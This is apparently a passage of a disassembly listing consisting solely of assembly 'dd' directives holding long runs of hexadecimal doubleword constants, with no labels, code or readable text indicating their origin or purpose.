		dd 0FBED727Fh, 1D48DFCBh, 5152544Dh, 2CA16815h,	705A785Bh
		dd 0C0E7B15Dh, 1E96B918h, 92214066h, 9807542Ah,	12757304h
		dd 0E6E1C12Fh, 55378938h, 0DD6810E1h, 69F83D59h, 3840379Ah
		dd 20E4F855h, 682DD3AEh, 0F1FA46BDh, 3AE7E12Eh,	8EB4F8A9h
		dd 0BB42B8h, 5B6B6FADh,	49E95157h, 5E011F0Dh, 7A32EA81h
		dd 0F6E3F64Bh, 884C2C2h, 93B7B25Dh, 8F35FAB2h, 6086A116h
		dd 9275B5Ah, 5ADD7CC1h,	44D51842h, 63A7848h, 5DE9FFCFh
		dd 56B52018h, 89EA0EB4h, 0BB94ED65h, 0ACC5F5C3h, 0BFA464E8h
		dd 0E9590520h, 41354BB4h, 3D27C2DBh, 3C63044h, 0E81630F9h
		dd 0B2056900h, 50B7FEA7h, 158025Ah, 387FE9D3h, 0FAB2E2CCh
		dd 4C221A3Ch, 7341777h,	19AE1660h, 8A0650DEh, 0A06A0566h
		dd 0F6D031B0h, 0D1C6266Dh, 0D73D6A27h, 62645080h, 8948703Eh
		dd 47E55FBCh, 1E71A930h, 0C8451D44h, 4D09CD73h,	62BE0053h
		dd 0FACF14F0h, 152B23Eh, 0FF7A6DBDh, 7AEE291Eh,	2A40A144h
		dd 14ECCAB0h, 0ACE32854h, 585B7A20h, 9ABBD8E4h,	0E7C11765h
		dd 0C4011E05h, 0FFBE5A46h, 0B3BF6EC4h, 4ECD203Eh, 685E04F5h
		dd 0B646A413h, 1056D40h, 49401435h, 402DE801h, 0F0295D07h
		dd 28314EC0h, 7056F6Dh,	7DAA525Eh, 537006E9h, 0AF4A6624h
		dd 0D0575263h, 5C924922h, 88274864h, 228B2F4h, 3EC1304Fh
		dd 81000A91h, 0AF04B7F1h, 0C8296009h, 0EAE8DC85h, 2C35A2Ah
		dd 0FDDD9505h, 0B05701CFh, 4E17E931h, 7980B366h, 2674F320h
		dd 4286DE86h, 1E08377Dh, 850F4040h, 88BAF0h, 591EC70Dh
		dd 0E02D0523h, 0C4940425h, 34A3B7CDh, 0EE843313h, 0F0125FB7h
		dd 0EB5B21D3h, 6048F931h, 7CB70583h, 255A80CCh,	699149A2h
		dd 240C2D7Bh, 56561A97h, 59C2E117h, 0D1920BC1h,	68420A76h
		dd 77B0B2A5h, 3D3FCE30h, 0F1FB980h, 4146AD07h, 97D2A46Bh
		dd 0D86FC126h, 0B96D0BC0h, 0C0830041h, 433B05FFh, 5E97264Dh
		dd 7FF5F1B6h, 262D4E00h, 0BFE894D1h, 903F3D79h,	8725A8CFh
		dd 29AD0274h, 24745070h, 991701E9h, 28584C5Eh, 315CC6EAh
		dd 6D307E32h, 20B1FD14h, 0AB40136Fh, 6287790Fh,	0ECF19131h
		dd 2E55BE00h, 0E755FB6h, 0F8365FB7h, 0EEE91301h, 0F48040C0h
		dd 0E7882636h, 909822D2h, 1ADF04DDh, 0FE012C23h, 5E089810h
		dd 58427029h, 4AD1C6D6h, 0CE28EF52h, 31215BA5h,	7D2279D1h
		dd 0C2A35040h, 0EDE251Fh, 0B8491653h, 0E978FC5Dh, 0A1259174h
		dd 0DF06B5EDh, 9D236770h, 0AE5C9F05h, 417E8BE4h, 62A83BD0h
		dd 0DF31FB39h, 0DC874F08h, 6AE5F8E9h, 5058428Ch, 885F1F19h
		dd 0B317E281h, 0A5E81E2Ch, 699CC34Eh, 28B8E6E0h, 0C2B2331h
		dd 78C55E3Fh, 7F05F6F0h, 1097C2Fh, 8DEADDC6h, 60F231EDh
		dd 0A3BC241h, 7FDA2DF6h, 466345A1h, 430BB61h, 32F61254h
		dd 7716CC82h, 0BD253A16h, 0B77D9093h, 0F7801C3Fh, 6FE7CC05h
		dd 0DF908E06h, 0F807F54Fh, 2C73B050h, 20CE9047h, 805839C7h
		dd 0C98ADA81h, 84CFEAE9h, 5BD931EAh, 0C57EC1EEh, 13BF7DCEh
		dd 41AE5DEAh, 6B28B043h, 0C7547A3Ah, 6A0A41EAh,	8F804F85h
		dd 184BED4Ah, 82184CE9h, 0BA3B525Ah, 1F3D1F9Ah,	3FC2F916h
		dd 88818030h, 5AC05BF8h, 1823F8E0h, 341E3E8Ch, 5B8FF0B4h
		dd 0FE1607BAh, 918982C0h, 511E72F0h, 0CDC46EB5h, 0C8BFDDF6h
		dd 5EB74451h, 0AEF02DA9h, 79F924BDh, 71D4B1E1h,	4B569FCFh
		dd 0B72E3479h, 9E9C910h, 7C18CEDBh, 6394E57h, 0CCDBF796h
		dd 29BC5533h, 0DAF1B9C3h, 609EE9ECh, 93EE1725h,	0ECE30842h
		dd 7D828815h, 0AABEDEA0h, 86BFDA1Eh, 733CB79h, 463CAEEAh
		dd 0F559B20Ah, 13AA5806h, 40E27B6h, 0EE918570h,	0BE074124h
		dd 6DA5443Ah, 0C08519ABh, 2AFF2839h, 89258BE2h,	0CA11F3E5h
		dd 0D56C093Eh, 26F6846Eh, 562080B5h, 1FFE6851h,	135DF47Bh
		dd 9A34C465h, 2E6A519Ch, 52A2C8B9h, 50029ED0h, 856F1D68h
		dd 3DE1F719h, 163D20h, 44F251ADh, 52F5800Fh, 5C03ACFCh
		dd 8917DD1Ah, 51ABC2DCh, 0E55FCDABh, 0E62B0933h, 0DD50AD56h
		dd 7E799FF1h, 369FA25h,	5D39BB53h, 0D80015FDh, 6BD80B94h
		dd 9D40860Fh, 0C0ED9D89h, 136AA05h, 0BAA5F3E2h,	5D2E0BCBh
		dd 6FD6A714h, 0E9013379h, 10843EDEh, 0C27FF2EEh, 7447A0E9h
		dd 0C8A765DFh, 40B7E298h, 8217CAC1h, 507115Ch, 0B19AFB48h
		dd 80930D08h, 132BF2C2h, 9F4DE9FEh, 938240CAh, 0D82EDC41h
		dd 49D4E6Dh, 0F393C131h, 1288F389h, 0BCECFE91h,	71298BBBh
		dd 11E96184h, 39800464h, 1F552660h, 57C10112h, 607CE1D6h
		dd 3E4E8342h, 1F809947h, 6CF037A5h, 230B42Fh, 8E2D0DBDh
		dd 3153A7C0h, 0CF2034B1h, 25B8654Eh, 0ED1EAC4Ah, 0E9B3986Ah
		dd 66621B27h, 40AEF236h, 68F4AC20h, 2D45B23Dh, 603B5625h
		dd 8F44CCBBh, 7630477Dh, 12D84D4h, 5C41E07Eh, 7409629h
		dd 710D005Dh, 48634466h, 2500D0F7h, 65512C46h, 2508022Dh
		dd 0CB560401h, 4A9CE950h, 0B023BACEh, 6A9013E3h, 0B234902Bh
		dd 0D7482808h, 377932BDh, 3EBB5CAFh, 2713CB3Eh,	3499AEDEh
		dd 852AFCEDh, 0E6E2BFFBh, 3C0668B0h, 7BC17FABh,	4C15737Fh
		dd 43DB25E8h, 2839F1E1h, 4A54DA7Bh, 8F8F36ADh, 2E75AA93h
		dd 0C19A2BAh, 0C0F3CEE9h, 78CD5C80h, 31420112h,	4217EF2h
		dd 9A447581h, 59CEB10h,	1622A17h, 2B375AC0h, 772B9821h
		dd 0BAFBC048h, 53D922DAh, 0B1019A90h, 0E97C8F69h, 0C86C2F92h
		dd 480D3611h, 18174CA7h, 0ED65593Dh, 8C34139Ah,	21C20086h
		dd 0E9661545h, 0F8475520h
		dd 2C0424D0h, 201213B6h, 6926B121h, 90B2358h, 97C916Ah
		dd 89F10817h, 2F32C62Dh, 0F7195475h, 2C9BE4E0h,	97E95612h
		dd 8DAB13C4h, 54682B9Fh, 0A8D15A89h, 0E263DB3Ch, 2DCE54F6h
		dd 251EB4FDh, 31E863E9h, 191323C1h, 8B0B3870h, 94DB7615h
		dd 0F78FF87Eh, 3B64DFA6h, 0CA5062Ch, 1CD742h, 0A277C568h
		dd 2AD5F5Ch, 0C24EDCEh,	1C8E04Eh, 46AC0476h, 0A01E8A0Fh
		dd 30F9D1A9h, 0BA3747h,	0FE3F1498h, 578D9BEBh, 15AC9D72h
		dd 0C4B55EA6h, 3C8B2588h, 33D121DCh, 5073E900h,	8BDBB8B7h
		dd 0A1F1BF04h, 55698367h, 0D0BFEF46h, 5ECBD59h,	29AAC701h
		dd 0D7016FB8h, 8044831h, 0F52D8904h, 8133E7BAh,	7B6C6857h
		dd 77050426h, 0BE30B23Fh, 0DDCC67F1h, 9776722Dh, 0D642882h
		dd 0F4111229h, 0BC7112AFh, 0BC099E87h, 0BDD5222h, 7DAC73D6h
		dd 0E9994B4Bh, 1476EA1Fh, 0DD75BB80h, 0E5810Ah,	2070761Eh
		dd 0D7828E0Fh, 240DF5A9h, 7900BF71h, 81654413h,	3B3A64E7h
		dd 0F7027A82h, 47FE578Eh, 0BA168B80h, 0F9E4D801h, 6417229Fh
		dd 7916C46Dh, 33520046h, 65D2735h, 0A2020D7Fh, 0E9137455h
		dd 1B472FBh, 3D6047EDh,	0F5E889C8h, 64822AD4h, 9C14D766h
		dd 1F49D2FEh, 43293741h, 2603B4A3h, 968B3314h, 5B32C257h
		dd 6801440h, 0EC39DA25h, 2718A434h, 45D9DB70h, 54064592h
		dd 0EF160386h, 302FF16Bh, 2C80FDD6h, 0F2D8E0F2h, 0B48E480Ch
		dd 963476B1h, 8DFA317Ch, 49E43E2Eh, 19121EF5h, 185624F1h
		dd 84C343EAh, 251D5C18h, 0B19AF0Ch, 148B32CAh, 98D43455h
		dd 0B88940A3h, 0DC68A600h, 6A660D47h, 5A797F6Fh, 5FACE4F2h
		dd 0C0B55BF6h, 0C73975DAh, 0C271EF0Ah, 96ABB9E9h, 84CFC676h
		dd 0D9B829F9h, 0AD8578C6h, 7FD6C202h, 0E04AE76Bh, 0C598994Dh
		dd 944BB0FDh, 0BFB182EBh, 0C4627C5Eh, 86BE0042h, 4E3DD652h
		dd 0AE3A9650h, 6D1729A3h, 9329EE66h, 27D78A2Fh,	0C40B5EC8h
		dd 591AE0FCh, 275165BDh, 4127FED2h, 8793A31Ch, 4D08C953h
		dd 965BD03Bh, 1C7BE358h, 0F11A382Dh, 0B9631B2Dh, 754F6FE1h
		dd 0FF9C05EFh, 0A9527E4Fh, 0DD96AB8Eh, 0F69FB834h, 0DA5EDA18h
		dd 541E3209h, 0A429B725h, 5B98F06Eh, 5A0A8813h,	0C8CFD404h
		dd 2D8870EAh, 83323CE6h, 78F62223h, 57B3006Ah, 0DA28F8B2h
		dd 0E201805Bh, 6B551EBh, 0F5E0DDF6h, 70C5F66Ch,	3AEA62AAh
		dd 58057F07h, 0F08047EDh, 567E5D1Ah, 1180BE00h,	0D6F7479Dh
		dd 418A9D46h, 149F07F8h, 0DA356082h, 16103712h,	1A3DF82Dh
		dd 0AC04400Fh, 2293AB12h, 41BEA5E9h, 962AA57Fh,	0C7012051h
		dd 0CB547882h, 96070806h, 540B38BFh, 3EB4755Ah,	6221ACB0h
		dd 0FE90548h, 3728AEF1h, 0A2E7526Dh, 2C92898Ch,	0F863D497h
		dd 689576A7h, 1CFCEF1Ch, 0E423CC01h, 0E995ECF9h, 0C2B1A05Bh
		dd 53DFCE36h, 0EDAFA50Eh, 129AE44Ah, 0B3EB29C0h, 0C145A25Dh
		dd 0A97D1A0Ch, 3C2E7879h, 728840FEh, 5BD90EE3h,	52695A58h
		dd 97222951h, 0CE3BF802h, 0C925E96Bh, 0AA4755C1h, 0C69783CAh
		dd 19AB8806h, 2DECFE0Ch, 2F77278h, 7603A401h, 9DD042DCh
		dd 0F0285900h, 2C951C04h, 8B349F85h, 92900510h,	3B2C5893h
		dd 0D2249B36h, 68090B10h, 0E674038Dh, 0E8379660h, 9D57B006h
		dd 96D7BD89h, 34619F18h, 9ACD6AC5h, 20A59402h, 1D25E0EAh
		dd 5A5F352Fh, 3A990AD7h, 2082317h, 63E11F38h, 0FCA2A27Ah
		dd 0DD040A09h, 0CD71FA07h, 0BC40FB29h, 160F1B44h, 498F5F3Fh
		dd 985FC795h, 0A05BA21Dh, 4BA72544h, 3512BA16h,	0F2580EEh
		dd 3464B688h, 91A9C727h, 24DE2125h, 0EB3E5FC9h,	262FDC80h
		dd 0E67D1892h, 0BA1EBAB8h, 38F04018h, 5BD23CFCh, 3D30EC32h
		dd 2ABB816Dh, 1F79ACB9h, 302659DEh, 0D054CC2Eh,	58181B5Ch
		dd 590840CBh, 8B8BE09Ch, 0AE8638FDh, 31D6822Bh,	0F4531302h
		dd 8602554Fh, 0A40E761Dh, 149187FDh, 77F5D631h,	7558D652h
		dd 53C69451h, 5C8C06B2h, 79E96858h, 0ECF9079Ah,	0E9736DFh
		dd 0DEDBC6ADh, 0E95B0B72h, 0B6D917FAh, 493C3F26h, 58C58A9h
		dd 63ED19DCh, 16B193A4h, 0EE03704Dh, 0A7FC1091h, 2E125C62h
		dd 92E6EC36h, 0D9F6C10Bh, 1DD69ECh, 1307081Ch, 9F58E70h
		dd 16E405D8h, 69D33580h, 574E0395h, 0E90B3EBDh,	0D720F413h
		dd 6B667B96h, 9C204BB0h, 2C5C4EA3h, 0C550D9BEh,	9F7BBFD5h
		dd 0BD545D0Dh, 30FC0BA3h, 66E9975h, 0B24608A1h,	5C924E25h
		dd 0AA18C3F3h, 5DB7EB85h, 4A828B4Ah, 351227FEh,	1891C2E5h
		dd 619213DEh, 0EA4F1CBCh, 8C17692Ah, 0EF13E4ADh, 3136E163h
		dd 49CBE9F7h, 2458551h,	2356CD8h, 712D09D1h, 8962D0F7h
		dd 0CABBE920h, 0B125C27h, 0B09C331h, 71301050h,	8054CFC9h
		dd 0CB013CAEh, 0E2A9B252h, 0D3283E60h, 45BF98B0h, 0D738B44h
		dd 0CD293072h, 74078E8Ch, 0EF5B9C03h, 0B8F72D3Ah, 241BBABDh
		dd 14F8D73h, 0F16FABEAh, 63FC3EE5h, 83D0D7C9h, 9A8DD8B5h
		dd 0BBE595E1h, 0C02096BFh, 80138A8Ah, 0B7A3C029h, 0DE80AD31h
		dd 26058041h, 2FE07113h, 70525A1h, 8B252CBEh, 0BD5B0940h
		dd 218DA117h, 0B6462DD8h, 0E51D430h, 0CAF1911Ah, 13459F00h
		dd 21303B42h, 0E95831C5h, 5CD34087h, 42545331h,	0D12DADD0h
		dd 42CCD2DEh, 36ED80F7h, 41B04BE1h, 2DDC7BD0h, 0EBEE0B71h
		dd 3FD4025Fh, 0EAA1A0F0h, 0B02C3042h, 0F2E0229Bh, 8CE3EF06h
		dd 10CFB36h, 238F3AA4h,	79E6B0E9h, 20494813h, 1D2D7D47h
		dd 40730E28h, 1CEA0BD7h, 8D30840Fh, 0A81821B9h,	89680583h
		dd 0F0BEE9C6h, 0C5728893h, 0F659EF0Eh, 57F8E9D7h, 81BB9CE9h
		dd 47AAC28Bh, 0C3ED74E0h, 0E12E6B25h, 0FBA84241h, 0EB24E95Ch
		dd 6FA94D12h, 615C118h,	0E3ED284Ah, 803D58F7h, 66CF3058h
		dd 5E885059h, 0D4B187FCh, 30A0F138h, 74F3946h, 44DC94C8h
		dd 0E9FCD15h, 0E6CF4E0Bh, 38180CF4h, 0E458142Ch, 0E95A5874h
		dd 0EBC2C7Eh, 0A650ADC4h, 0C0F2DE8h, 4E505611h,	0B14CB7B8h
		dd 60BF7CC6h, 32F7B96Ch, 273E7C0h, 0DDA0EF5Eh, 912851F9h
		dd 9FB4E3FFh, 0FD91CEC7h, 163B97E9h, 0EB8EAEBAh, 0A54FF33Ch
		dd 4906DC6Ah, 0BDB96BE1h, 301F3C94h, 0E96DC22Ah, 0E85FFAE2h
		dd 0D3097353h, 6512A75Eh, 0F784EA08h, 0BFBF33F0h, 0E255EA6Ah
		dd 33C50FAFh, 2C8854E4h, 0A42515D0h, 31F105F8h,	0E7A4C149h
		dd 0B0249DE4h, 494DEEFh, 8337CA09h, 0E3C1CD50h,	85DFAA35h
		dd 4B8AF19Dh, 577C32F7h, 0C7348D09h, 12C71697h,	0F805A5E9h
		dd 66E0D7E3h, 32D14B45h, 41E8CE8Eh, 210BD2BBh, 0F5010A2Fh
		dd 0D1308A96h, 77C94E5h, 0E90A1666h, 8689C260h,	54168D5Ch
		dd 0EBE4E2ECh, 33851DF2h, 5FBE270h, 0C09CF180h,	8CFAE416h
		dd 0CBAAF670h, 0C4568783h, 53C97062h, 5DA1991Ah, 2016CD2Eh
		dd 6801EB07h, 0C141400Ch, 0E46E03E9h, 0B5141D11h, 1DD02D72h
		dd 0BB426BB2h, 0FE8F3002h, 840449B2h, 4EB12E7h,	0ABFEF904h
		dd 8A4844F7h, 0DF3A8D04h, 3E50BE71h, 61A64F08h,	22F3210h
		dd 0C6FC6B2Dh, 5E025550h, 1EC0F329h, 0B8167173h, 1F2D5E26h
		dd 0C135642h, 560A0BC8h, 0F21D6168h, 27DC6A88h,	7BFE3F50h
		dd 18F32C48h, 0CA73A4F8h, 0F6367D34h, 9C537580h, 0B8F7493Ch
		dd 35E9F2D9h, 0EE0FFA3Ah, 53E028D5h, 7C3772BAh,	0F390A860h
		dd 4694CC11h, 4AB17258h, 57EAC600h, 0C34E2942h,	1B91841Ch
		dd 6E6BF1Eh, 6BAE24F0h,	898D24EEh, 0C7E9706Ch, 68342D60h
		dd 0C46F4AB6h, 0EAC3A772h
		dd 22ED9140h, 0F831BB41h, 2518964Fh, 4BFFB077h,	0CAF1BDC1h
		dd 77E56409h, 6819E39Eh, 3F7B29B9h, 994EBA3Ch, 0FB802A60h
		dd 41141AADh, 85D307Fh,	5A7E189Fh, 7E271F35h, 0CEBD895Dh
		dd 0E11F1948h, 5EBB6880h, 5AAF3124h, 0B6CA3A57h, 5416824Ch
		dd 0E0FDC9C4h, 7495D58Dh, 7568E79Ch, 0CD5DCD49h, 28F1E8E0h
		dd 0F4DCCDC4h, 16B05003h, 9DD0ECC2h, 6C34872Fh,	0E90DC31Dh
		dd 6831C0B1h, 109EBA54h, 0F7D792Ch, 4171B34h, 0BC02F10Bh
		dd 9173CDAEh, 0A6D447A7h, 68510047h, 3CA53055h,	1FD6C097h
		dd 613B040Eh, 0EA19890Fh, 28BF10C5h, 0CA9F29E7h, 0B5BED00Eh
		dd 0E9C221FBh, 269378E8h, 91ACF29h, 0E531343h, 0D71ADFA5h
		dd 7BF41640h, 0AEF25h, 0A4146CDBh, 0E5810265h, 7945133Bh
		dd 4B8A1E60h, 3158D801h, 0DC49E9C5h, 5BDD6B82h,	77DC2C87h
		dd 0E97AB640h, 0A62D4F12h, 9D2F7A91h, 64E0D6FEh, 6B45B18Ah
		dd 0EC000BFCh, 8109572Ah, 712875CAh, 9720DD0Ah,	2E667CFDh
		dd 0DEFA3F7h, 305FE75Ch, 10F0684Ch, 0CF64695h, 39CA06F9h
		dd 0DC2FD32h, 0C4EE7EE9h, 0F68017FFh, 94783174h, 7E342AD9h
		dd 1805DA88h, 0A5A76CCh, 0BC4A5813h, 75072550h,	39EC23D6h
		dd 0FADD53B2h, 0E76812CEh, 50688C69h, 20CF46BFh, 0B7A94D53h
		dd 3014C552h, 2024A418h, 0CE01FD8Ah, 3C4F04CAh,	0C1418A4h
		dd 190C0F85h, 259D3909h, 4BCA5E01h, 33A91CDFh, 0D1F79128h
		dd 2CABE1E8h, 0C06E9D2Dh, 0EC90201Bh, 29C84B01h, 5F1640B9h
		dd 54093F76h, 1830C0E9h, 4FDB68E0h, 0E5D1AC59h,	7B3399FAh
		dd 7627FEE9h, 5855E8E2h, 79682829h, 0A124A82Ah,	2D9F9066h
		dd 759688B5h, 117E616h,	0A2D758A2h, 0AF0FC280h,	76E057C8h
		dd 5F81BEBBh, 0C7B142D8h, 2923528h, 8E5F72A2h, 0FB8A3F76h
		dd 94B6DE41h, 55F9B50Ah, 6A7BE962h, 3C407D3Ch, 1403143h
		dd 97159AF4h, 8A257A4Eh, 8940EFEAh, 427FE1E9h, 73367D59h
		dd 5A730247h, 253F1DBFh, 571A21A2h, 112E2D00h, 9F41F0Eh
		dd 0A04408C3h, 3E56E31h, 0EA53DFC2h, 1F01FB20h,	815C6B6Ch
		dd 0D851BF1h, 0AC26BFE9h, 60A81CCh, 7389298Dh, 9C8B5558h
		dd 5A4F4BD0h, 0B9016F89h, 5E02A915h, 15781677h,	0F4416468h
		dd 0E4FB0B85h, 701E8D46h, 0B8D60EDDh, 0B13EBDF1h, 0E6CDE08Bh
		dd 0DF93E794h, 86C74F4Fh, 4BCD7774h, 164249FDh,	22C447Fh
		dd 0AE36857h, 0ECB2667Bh, 0E8D149F5h, 0FA891D8Dh, 0F1C688E1h
		dd 25F2D46h, 57A78C5Eh,	2B68E7A0h, 3B4A2344h, 97DAB80h
		dd 3C404C35h, 0A4E54C2Eh, 0FD8625F7h, 63956A47h, 83700BDCh
		dd 0DF028413h, 51575FFBh, 0DEE9C12Dh, 0E3945209h, 460A2660h
		dd 5D314824h, 9FBCD30Dh, 0BB2E06Ah, 656B3914h, 0EB2E15C6h
		dd 519877CCh, 7FD4EA55h, 0C3DB70C1h, 257FF873h,	0CA3AB75Dh
		dd 3434CC55h, 0FF235EB1h, 0E8FD9684h, 87680F93h, 0E3104D3h
		dd 11C5875Ch, 620B0685h, 47BB09B1h, 0BFED82D9h,	7E6800B1h
		dd 6F5A9A2Bh, 0A44E68CBh, 65969B47h, 80C6FE09h,	8C0FFCE9h
		dd 0C0D66988h, 75B78DEh, 2B67B8B5h, 20F76965h, 0A07846E5h
		dd 83950E34h, 1A99FFC5h, 1762C405h, 0BDCE9C2Eh,	0F450DD0Bh
		dd 0ACDA0886h, 0F7015E05h, 5BF04983h, 8497AD11h, 39E2B0C2h
		dd 0FEDA5477h, 1331D660h, 0CFFE006Bh, 74020438h, 0A50E4761h
		dd 0E8EBF171h, 2453C3EFh, 20E2F72h, 0AF7ADE22h,	0B12C1BD6h
		dd 73A50713h, 8144C005h, 6804FEA2h, 2232AE87h, 0EB42FF5Ch
		dd 2A24C5FFh, 0E8832663h, 0A7880868h, 0B4310828h, 0BC20577Fh
		dd 0FC21BE93h, 0E5B34567h, 0F04FF856h, 0D5311B9Dh, 0D2DDC3A0h
		dd 657015E7h, 71F421A5h, 882D0158h, 3F25D7C0h, 277D4709h
		dd 0E579E1F8h, 0B7A5088Ch, 4B090CDh, 371D313Ah,	86E3AE59h
		dd 97DF6778h, 3AB07250h, 18A68BA1h, 2C5A8D80h, 16EC4EEh
		dd 7FC52085h, 0A7232049h, 0FFF9C969h, 41BF8320h, 105FC058h
		dd 63DF70A0h, 0CC272350h, 0CB314628h, 0E4DC15A1h, 12D06A4h
		dd 0F29455EEh, 0E2F5180h, 6CF819C9h, 8086209Ch,	2009B613h
		dd 9BE70BAEh, 85627EDEh, 8C67D02h, 8D0F12Ah, 73255B50h
		dd 83A0054Ch, 17177C40h, 90958216h, 0AC167E21h,	0B1B46CF7h
		dd 54C601ABh, 8568C0D8h, 755E6443h, 0F65C0FAEh,	135B7C63h
		dd 750E104Ah, 0B939E357h, 36594856h, 0B877F835h, 360F7275h
		dd 0A9064B28h, 0B5A70E7h, 720E685Dh, 0FB87FD71h, 9028470h
		dd 405A68D3h, 4F2980D1h, 0A73CE097h, 8CB3C952h,	280967FEh
		dd 716AA2FDh, 0CB03DCF3h, 0E9E180F6h, 2480F875h, 0EE8021B7h
		dd 0FE5C28F3h, 7ED32510h, 549E618Eh, 6A688B62h,	8A657625h
		dd 84F65AD5h, 8105E6C1h, 0FBBC38h, 323A79BEh, 28BA07FAh
		dd 0FCE28B55h, 0BF09B5CAh, 1E586B01h, 0F03B7807h, 0E762D1D1h
		dd 5B84F032h, 0F04ABE32h, 15E1C1Bh, 561660F7h, 0D3CEE7Bh
		dd 62F35E0Dh, 0B6A50746h, 0B084EE5Dh, 0E62DF4ABh, 4628192h
		dd 0EB7D2CDEh, 0A995A72Ch, 5DE2BC2h, 80CB0088h,	0B25209F3h
		dd 0C2FEEA05h, 9050FAE9h, 515027E8h, 0CADF9F6Dh, 60F29CECh
		dd 331E6E68h, 355A7F2Ch, 0DB1C6B01h, 16B212Ah, 0C93EA51h
		dd 0CE41FA33h, 2963295Ah, 2638E0DAh, 0DEC21217h, 0EB800128h
		dd 68C3C02Bh, 87382C26h, 0FE74B460h, 0E4D017CCh, 0C1D61D80h
		dd 0F6DC86C4h, 1608B5D3h, 0E9E30B02h, 5077D219h, 2FA9FAB9h
		dd 7D316Eh, 253D97B8h, 1D7FF316h, 240290E8h, 8796F432h
		dd 0E2D1AB42h, 6A6C851h, 5AA4989Eh, 1FB84E55h, 0C01EDA24h
		dd 7F694339h, 67E93813h, 32FF38C1h, 0B7B9C860h,	68807E51h
		dd 1FA66C2Fh, 0E381025Bh, 2A92496Eh, 7092840h, 41CAF42Fh
		dd 5FD6B97Ch, 510F3266h, 0ECB7F1B1h, 48B5C830h,	5B1F9AC5h
		dd 0FA12FE66h, 0C0A14020h, 43E905EDh, 0BA66A54Eh, 2D6812AAh
		dd 0C5FA0007h, 27FA47DEh, 33018298h, 0E9032A2Fh, 543CA961h
		dd 53E0D382h, 3EDC59E0h, 58152300h, 6F4D0F05h, 2581E819h
		dd 21E85C93h, 0A983B5BDh, 322C0BCBh, 94BA0C1h, 0D19AF474h
		dd 78D6494h, 342A0D5Eh,	0A852C115h, 0E5C3071Ah,	0B0EC809h
		dd 0D289140Fh, 0FC050C9Ah, 826F3219h, 325688ADh, 80800290h
		dd 8B0F0AE1h, 99903731h, 5E00733Ch, 7C00DE35h, 0D8F70CB7h
		dd 0E11BE668h, 0E177EC2Bh, 8747EE9h, 630B0DBBh,	0CC2034E6h
		dd 5D093865h, 70A6870Fh, 0E5A9644h, 22FECA78h, 7967D935h
		dd 0E7BD80AEh, 314E2FA3h, 65FD77F0h, 0BA9A67AAh, 0CA099944h
		dd 422EF2CBh, 107F09C8h, 6D536FFAh, 0E78000B4h,	4ACE8102h
		dd 10F72E43h, 0A8761680h, 0E08A4B71h, 7FEA69h, 203A3683h
		dd 370136BBh, 0EA7FDC0Ah, 5458A025h, 0F208A0E0h, 0E2DE4B01h
		dd 5CEED7AEh, 0A1C818ABh, 109636A9h, 0D54CD462h, 0CE6B17ECh
		dd 784AF09Fh, 870EC7A9h, 0C2D614F7h, 0B0008BF6h, 3A11042Ah
		dd 2C1DE0C0h, 0AF08D25Fh, 0FDDF9D81h, 2710F33Ah, 5BE0046Ch
		dd 646F8BAFh, 0E2BE557Dh, 2A82A79Eh, 620E87F3h,	21A0913h
		dd 5F12EA34h, 0C3765E6Ch, 54612F89h, 0F75D6313h, 94BE9602h
		dd 641A8430h, 0F4C23B92h, 197E1416h, 0EF044C2Ch, 0FC87DDF0h
		dd 3AC1595Ah, 273A915Dh, 0E8A58423h, 74BA06FEh,	288334Eh
		dd 6D48A0EAh, 26C02DAEh, 3ECA3F25h, 5A000705h, 2015355Fh
		dd 0F8D84E73h, 1DE9842Bh, 910CD0AAh, 74A4369h, 4CF471F1h
		dd 4C23B53Dh, 65F25C8Ch, 32149DFh, 7C060698h, 0E1FA9FCDh
		dd 0C48BE912h, 0BC9D88EEh
		dd 3ABF7C09h, 0B67F0659h, 0A1CB1D1Dh, 6231212h,	0E1DBB2CCh
		dd 6177E340h, 6E1113Ch,	7CA23A54h, 0A528A026h, 880023D4h
		dd 354A1326h, 0CA532649h, 0E03117B6h, 727B056Ch, 2D4CA6FEh
		dd 757F3BC8h, 3870510Fh, 0EB94144h, 3930B3EDh, 0D51916BBh
		dd 750FB7Dh, 0AFE90B08h, 0DF511AF5h, 0E9851F7Bh, 0AFF49BBFh
		dd 176B6505h, 0D200960Eh, 5F4F0778h, 32062B16h,	9D26D406h
		dd 0C8EA2951h, 0BB126560h, 6DD6DC15h, 554AA7EEh, 0EB4AA1B6h
		dd 0D510E02Bh, 0CACA5AF2h, 0B14FE510h, 12240A6h, 57B3100h
		dd 72CA817Eh, 65A56D18h, 0B25EA146h, 52EA1327h,	68D31457h
		dd 637C4A60h, 70B77835h, 739E8073h, 0BFE20921h,	0AD5F82E9h
		dd 0BC3E9CE8h, 1DEEF099h, 3590B701h, 719FA2F1h,	0E8F7882Ah
		dd 4DEDE961h, 0ECC1CB81h, 3A408A2Fh, 0F8FC4485h, 0BB4150B6h
		dd 108CCD30h, 1D6B5Bh, 0C02F5CEBh, 5E9FE997h, 5DD59C45h
		dd 80E569Fh, 5527B56Ch,	0DC485E9Ah, 5D905457h, 0BC5B0140h
		dd 61D8C262h, 5D8ED95Ch, 484A8769h, 90E4B5C2h, 0B8A2E0C7h
		dd 92FE9F75h, 851E5F25h, 0C9D80126h, 8C267E72h,	31A8BD60h
		dd 4245EF5Eh, 63ADC68Bh, 987A187Fh, 55920C1Dh, 0D27F872Dh
		dd 4108834Fh, 0A8E7140Ch, 5B4970A3h, 290CB80Ch,	4008D35Bh
		dd 9B2C1D1Ah, 3ED9B966h, 50A80475h, 0D6F0291Fh,	0FE99573Bh
		dd 0D9531423h, 81485063h, 280612C4h, 18310051h,	13BAD92h
		dd 0E05A9BB2h, 0C95EBA0Eh, 94E97885h, 0FAA4C3D9h, 41681609h
		dd 0CD1227Ch, 9DFBF5D3h, 10A2484h, 68CF28BFh, 5916AA2Fh
		dd 0E5EDC4C6h, 19AD7E66h, 21745E2Fh, 83E9185Ch,	3D9F634Bh
		dd 888ED5B9h, 0E9E341ECh, 55C2DD7Fh, 0E970C7F9h, 84B46026h
		dd 0FCFE680h, 0CCD18310h, 93C63C79h, 0BF0C8C8Ah, 310E469Ah
		dd 8E2C112h, 27D1A806h,	124A7730h, 0EA15058Fh, 98557968h
		dd 48640C01h, 0C20C05A9h, 1AE56112h, 0F07CBBF8h, 0DA21044Ch
		dd 0BE9A1EE9h, 0E36B06DDh, 83688237h, 2519EC79h, 0D864B5E4h
		dd 0C55B5CF0h, 8BB834B8h, 0A1993EE5h, 0B5E097Ch, 20DF581Fh
		dd 88084874h, 0EE015E0Ch, 4115ED2Ch, 9FED3BE6h,	0BFB37113h
